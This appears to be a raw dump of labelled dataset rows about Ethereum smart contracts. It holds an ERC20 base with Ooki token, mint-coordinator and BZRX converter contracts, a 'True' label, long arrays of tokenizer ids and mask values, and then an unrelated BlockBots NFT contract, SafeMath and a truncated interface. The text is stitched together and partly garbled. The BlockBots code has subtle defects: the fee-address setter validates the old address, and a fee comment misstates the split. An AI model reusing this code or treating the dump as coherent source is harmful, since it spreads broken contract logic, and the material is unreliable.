function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract OokiToken is ERC20, Ownable {
constructor() ERC20("Ooki Token", "OOKI") public {}
uint256 public totalMinted;
uint256 public totalBurned;
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
totalMinted = totalMinted.add(_amount);
}
function burn(uint256 _amount) public onlyOwner {
_burn(msg.sender, _amount);
totalBurned = totalBurned.add(_amount);
}
function rescue(IERC20 _token) public onlyOwner {
SafeERC20.safeTransfer(_token, msg.sender, _token.balanceOf(address(this)));
}
}
contract MintCoordinator is Ownable {
OokiToken public constant OOKI = OokiToken(0xC5c66f91fE2e395078E0b872232A20981bc03B15);
mapping (address => bool) public minters;
mapping (address => bool) public burners;
constructor() public {
// minters[TODO] = true;
}
function mint(address _to, uint256 _amount) public {
require(minters[msg.sender], "unauthorized");
OOKI.mint(_to, _amount);
}
function burn(uint256 _amount) public {
require(burners[msg.sender], "unauthorized");
OOKI.transferFrom(msg.sender, address(this), _amount);
OOKI.burn(_amount);
}
function transferTokenOwnership(address newOwner) public onlyOwner {
OOKI.transferOwnership(newOwner);
}
function addMinter(address addr) public onlyOwner {
minters[addr] = true;
}
function removeMinter(address addr) public onlyOwner {
minters[addr] = false;
}
function addBurner(address addr) public onlyOwner {
burners[addr] = true;
}
function removeBurner(address addr) public onlyOwner {
burners[addr] = false;
}
function rescue(IERC20 _token) public onlyOwner {
SafeERC20.safeTransfer(_token, msg.sender, _token.balanceOf(address(this)));
}
function rescueToken(IERC20 _token) public onlyOwner {
OOKI.rescue(_token);
rescue(_token);
}
}
contract BZRXv2Converter is Ownable {
event ConvertBZRX(
address indexed sender,
uint256 amount
);
IERC20 public constant BZRXv1 = IERC20(0x56d811088235F11C8920698a204A5010a788f4b3);
MintCoordinator public MINT_COORDINATOR;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 public totalConverted;
uint256 public terminationTimestamp;
function convert(
address receiver,
uint256 _tokenAmount)
external
{
BZRXv1.transferFrom(
msg.sender,
DEAD, // burn address, since transfers to address(0) are not allowed by the token
_tokenAmount
);
// we mint burned amount
MINT_COORDINATOR.mint(receiver, _tokenAmount * 10); // we do a 10x split
// overflow condition cannot be reached since the above will throw for bad amounts
totalConverted += _tokenAmount;
emit ConvertBZRX(
receiver,
_tokenAmount
);
}
// open convert tool to the public
function initialize(MintCoordinator _MINT_COORDINATOR)
external
onlyOwner
{
require(terminationTimestamp == 0, "already initialized");
terminationTimestamp = _getTimestamp() + 60 * 60 * 24 * 365; // one year from now
MINT_COORDINATOR = _MINT_COORDINATOR;
}
// funds unclaimed after one year can be rescued
function rescue(
address _receiver,
uint256 _amount,
address _token)
external
onlyOwner
{
require(_getTimestamp() > terminationTimestamp, "unauthorized");
IERC20(_token).transfer(
_receiver,
_amount
);
}
function _getTimestamp()
internal
view
returns (uint256)
{
return block.timestamp;
}
} | True | [
101,
1013,
1008,
1008,
1008,
9385,
2418,
1011,
25682,
1010,
1038,
2480,
2595,
2850,
2080,
1012,
2035,
2916,
9235,
1012,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1012,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1012,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
4215,
2094,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
2065,
1006,
1039,
1026,
1037,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
1006,
2995,
1010,
1039,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
20528,
7542,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
6342,
2497,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1038,
1028,
1037,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
1006,
2995,
1010,
1037,
1011,
1038,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
12274,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
1037,
1005,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1005,
1038,
1005,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
8311,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
2709,
1006,
2995,
1010,
1014,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./ERC721Full.sol";
import "./IMintPass.sol";
import "./ValidateString.sol";
import "./VerifySignature.sol";
contract BlockBots is
Ownable,
ReentrancyGuard,
AccessControl,
ERC721Full,
ValidateString,
VerifySignature
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
bytes32 public constant MINT_PASS_CONTRACT_ROLE =
keccak256("MINT_PASS_CONTRACT_ROLE");
bytes32 public constant BUNDLE_CONTRACT_ROLE =
keccak256("BUNDLE_CONTRACT_ROLE");
uint256 private BLOCK_BOTS_TOTAL_SUPPLY = 9998;
uint256 public MAX_BLOCK_BOTS_CLAIMED_BY_RAFFLE = 2000;
uint256 public constant MAX_MINT_LIMIT = 50;
uint256 public totalBlockBotsMinted;
uint256 public totalClaimedBlockBotsByRaffle;
address public redeemerAddress;
uint256 public nameChangePrice;
address public immutable MINT_PASS_ADDRESS;
address public immutable INDORSE_TOKEN_ADDRESS;
address public changeNameProtocolFeeAddress;
bool public pauseDeflatinate = true;
uint256 private _currentTokenId = 0;
uint256 private _deflatinatedTokenId = 10000;
string private _uri;
struct TokenLineageDetail {
uint256 gen;
uint256 parent1;
uint256 parent2;
}
/**
* @dev maps tokenId with tokenName.
*/
mapping(uint256 => string) public tokenNameByTokenId;
mapping(uint256 => TokenLineageDetail) private _lineage;
event Mint(address indexed _recipient, uint256 _startId, uint256 _quantity);
event Pause(bool _pauseDeflatinate);
event Deflatination(
uint256 indexed _tokenId1,
uint256 indexed _tokenId2,
uint256 _newToken
);
/**
* @dev Initializes the contract by setting a `MINT_PASS_ADDRESS`, `changeNameProtocolFeeAddress`, `indorsetokenAddress`, `mintPassReserveTokens`
* and `tokenDetailchangePrice` to the tokens.
* @param _mintPassAddress is an address
* @param _changeNameProtocolFeeAddress is an address
* @param _indorseTokenAddress is an address
* @param _nameChangePrice is uint256
* @param _baseUri is string
*/
constructor(
address _mintPassAddress,
address _changeNameProtocolFeeAddress,
address _indorseTokenAddress,
address _redeemerAddress,
address _bundleAddress,
uint256 _nameChangePrice,
string memory _baseUri
) ERC721Full("BlockBots", "BB") {
require(
_mintPassAddress != address(0),
"_mintPassAddress cannot be zero"
);
require(
_changeNameProtocolFeeAddress != address(0),
"_changeNameProtocolFeeAddress cannot be zero"
);
require(
_indorseTokenAddress != address(0),
"_indorseTokenAddress cannot be zero"
);
require(
_redeemerAddress != address(0),
"_redeemerAddress cannot be zero"
);
nameChangePrice = _changeToWei(_nameChangePrice);
changeNameProtocolFeeAddress = _changeNameProtocolFeeAddress;
MINT_PASS_ADDRESS = _mintPassAddress;
_uri = _baseUri;
INDORSE_TOKEN_ADDRESS = _indorseTokenAddress;
redeemerAddress = _redeemerAddress;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setRoleAdmin(MINT_PASS_CONTRACT_ROLE, DEFAULT_ADMIN_ROLE);
_setupRole(MINT_PASS_CONTRACT_ROLE, _mintPassAddress);
_setRoleAdmin(BUNDLE_CONTRACT_ROLE, DEFAULT_ADMIN_ROLE);
_setupRole(BUNDLE_CONTRACT_ROLE, _bundleAddress);
}
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
* @return `true` if the contract implements `interfaceId` and
* `interfaceId` is not 0xffffffff, `false` otherwise
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(AccessControl, ERC721Full)
returns (bool)
{
return
AccessControl.supportsInterface(interfaceId) ||
ERC721Full.supportsInterface(interfaceId);
}
function remainingBlockBots() public view returns (uint256) {
return
getMaxTotalSupply().sub(totalBlockBotsMinted).sub(
IMintPass(MINT_PASS_ADDRESS).totalSupply(1) // 1 is pass because mintId is 1
);
}
// Remaining Blockbots is substracted with total unclaimed BlockBots
function remainingBlockBotsByBundles() public view returns (uint256) {
return
remainingBlockBots().add(totalClaimedBlockBotsByRaffle).sub(
MAX_BLOCK_BOTS_CLAIMED_BY_RAFFLE
);
}
function getMaxTotalSupply() public view virtual returns (uint256) {
return BLOCK_BOTS_TOTAL_SUPPLY;
}
function getNextDeflatinatedTokenId() public view returns (uint256) {
return _deflatinatedTokenId.add(1);
}
/**
* @dev calculates the next token ID based on value of _currentTokenId
* @return uint256 for the next token ID
*/
function getNextTokenId() public view returns (uint256) {
return _currentTokenId.add(1);
}
function calculateGen(uint256 tokenId1, uint256 tokenId2)
public
view
returns (uint256)
{
uint256 genToken1 = _getGenOfToken(tokenId1);
uint256 genToken2 = _getGenOfToken(tokenId2);
if (genToken1 > genToken2) return genToken1.add(1);
return genToken2.add(1);
}
function getParentOfBots(uint256 tokenId)
external
view
returns (TokenLineageDetail memory)
{
TokenLineageDetail memory data = _lineage[tokenId];
if (tokenId < getMaxTotalSupply().add(1)) {
data.gen = 1;
}
return data;
}
function walletOfOwner(address _owner)
external
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i = i.add(1)) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function isTokenActive(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
/**
* @dev Set the sale and redeem pause by owner.
* @param _pauseDeflatinate is a bool value.
*/
function setPause(bool _pauseDeflatinate) external onlyOwner {
pauseDeflatinate = _pauseDeflatinate;
emit Pause(_pauseDeflatinate);
}
/**
* @dev Set the sale and redeem pause by owner.
* @param _changeNameProtocolFeeAddress is an address where we send fee for changeName.
*/
function setChangeNameProtocolFeeAddress(
address _changeNameProtocolFeeAddress
) external onlyOwner {
require(
changeNameProtocolFeeAddress != address(0),
"cannot set to zero address"
);
changeNameProtocolFeeAddress = _changeNameProtocolFeeAddress;
}
function getRaffleMessage(
address _recipient,
uint256 _quantity,
uint256 _blockHeight
) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_recipient, _quantity, _blockHeight));
}
function setRedeemerAddress(address _redeemer) external onlyOwner {
require(_redeemer != address(0), "address cannot set to zero");
redeemerAddress = _redeemer;
}
function claimBlockBotsByRaffle(
uint256 _quantity,
uint256 _blockHeight,
bytes memory _redeemerSignatureHash
) external nonReentrant {
require(_quantity != 0, "quantity cannot be zero");
require(
totalClaimedBlockBotsByRaffle.add(_quantity) <=
MAX_BLOCK_BOTS_CLAIMED_BY_RAFFLE
);
totalClaimedBlockBotsByRaffle = totalClaimedBlockBotsByRaffle.add(
_quantity
);
_setMessageHashClaimed(
getRaffleMessage(msg.sender, _quantity, _blockHeight),
redeemerAddress,
_redeemerSignatureHash
);
_mintBatch(msg.sender, _quantity);
}
/**
* @dev set the price of a token detail change by owner.
* @param _nameChangePrice is a integer value.
*/
function setNameChangePrice(uint256 _nameChangePrice) external onlyOwner {
require(_nameChangePrice != 0, "cannot set price zero");
nameChangePrice = _changeToWei(_nameChangePrice);
}
/**
* @dev deflatinate the token ID.
* @param tokenId1, is a integer value denotes the token ID.
* @param tokenId2, is a integer value denotes the token ID.
*/
function deflatinate(uint256 tokenId1, uint256 tokenId2)
external
nonReentrant
{
require(!pauseDeflatinate, "deflatination of tokens are paused");
uint256 deflatinatedTokenId = getNextDeflatinatedTokenId();
TokenLineageDetail storage data = _lineage[deflatinatedTokenId];
data.parent1 = tokenId1;
data.parent2 = tokenId2;
data.gen = calculateGen(tokenId1, tokenId2);
_incrementDefaltinatedTokenId();
_burnBot(tokenId1);
_burnBot(tokenId2);
_safeMint(msg.sender, deflatinatedTokenId);
emit Deflatination(tokenId1, tokenId2, deflatinatedTokenId);
}
function _burnBot(uint256 tokenId) internal {
require(ownerOf(tokenId) == msg.sender, "sender is not owner of token");
_burn(tokenId);
}
function mintBlockBotsByBundle(address _recipient, uint256 _quantity)
external
onlyRole(BUNDLE_CONTRACT_ROLE)
nonReentrant
{
_mintBatch(_recipient, _quantity);
}
function redeemMintPass(address _recipient, uint256 _quantity)
external
onlyRole(MINT_PASS_CONTRACT_ROLE)
nonReentrant
{
_mintBatch(_recipient, _quantity);
}
function endRaffle() external onlyOwner {
MAX_BLOCK_BOTS_CLAIMED_BY_RAFFLE = totalClaimedBlockBotsByRaffle;
}
function mintUnsoldBlockBots() external onlyOwner {
uint256 BBUnsold = remainingBlockBots();
if (BBUnsold > MAX_MINT_LIMIT) {
_mintBatch(msg.sender, MAX_MINT_LIMIT);
} else {
_mintBatch(msg.sender, BBUnsold);
}
}
/**
* @dev Changes the name for Hashmask tokenId
*/
function changeName(uint256 tokenId, string memory newName)
external
nonReentrant
{
require(
msg.sender == ownerOf(tokenId),
"ERC721: caller is not the owner"
);
require(validateName(newName) == true, "Not a valid new name");
require(
sha256(bytes(newName)) !=
sha256(bytes(tokenNameByTokenId[tokenId])),
"New name is same as the current one"
);
require(isNameReserved(newName) == false, "Name already reserved");
// If already named, dereserve old name
if (bytes(tokenNameByTokenId[tokenId]).length > 0) {
_toggleReserveName(tokenNameByTokenId[tokenId], false);
}
_toggleReserveName(newName, true);
tokenNameByTokenId[tokenId] = newName;
uint256 burnAmount = (nameChangePrice.mul(30)).div(100);
_sendERC20(msg.sender, address(0), burnAmount); // 30% tokens as protocol fee
_sendERC20(
msg.sender,
changeNameProtocolFeeAddress,
nameChangePrice.sub(burnAmount)
); // 100% tokens as protocol fee
emit NameChange(tokenId, newName);
}
function withdraw() external payable onlyOwner nonReentrant {
_sendEther(owner(), address(this).balance);
}
function _mintBatch(address _recipient, uint256 _quantity) internal {
require(_quantity <= MAX_MINT_LIMIT, "Exceeds maximum mint limit");
require(_quantity <= remainingBlockBots(), "Exceeds available bots");
totalBlockBotsMinted = totalBlockBotsMinted.add(_quantity);
uint256 tokenId;
uint256 startTokenId = getNextTokenId();
for (uint256 i = 0; i < _quantity; i = i.add(1)) {
tokenId = getNextTokenId();
_incrementTokenId();
_safeMint(_recipient, tokenId);
}
emit Mint(_recipient, startTokenId, _quantity);
}
function _sendEther(address _recipient, uint256 _quantity) internal {
(bool success, ) = payable(_recipient).call{value: _quantity}("");
require(success, "Withdraw failure");
}
function _sendERC20(
address _from,
address _to,
uint256 _quantity
) internal {
require(
IERC20(INDORSE_TOKEN_ADDRESS).transferFrom(_from, _to, _quantity),
"Unable to transfer Indorse tokens"
);
}
/**
* @dev increments the value of _currentTokenId
*/
function _incrementTokenId() internal {
_currentTokenId = _currentTokenId.add(1);
}
function _baseURI() internal view override returns (string memory) {
return _uri;
}
function _incrementDefaltinatedTokenId() internal {
_deflatinatedTokenId = _deflatinatedTokenId.add(1);
}
function _getGenOfToken(uint256 tokenId) internal view returns (uint256) {
require(
isTokenActive(tokenId),
"ERC721: operator query for nonexistent token"
);
TokenLineageDetail memory data = _lineage[tokenId];
if (data.gen == 0) return 1;
return data.gen;
}
function _changeToWei(uint256 _value) internal pure returns (uint256) {
return _value.mul(1 wei);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
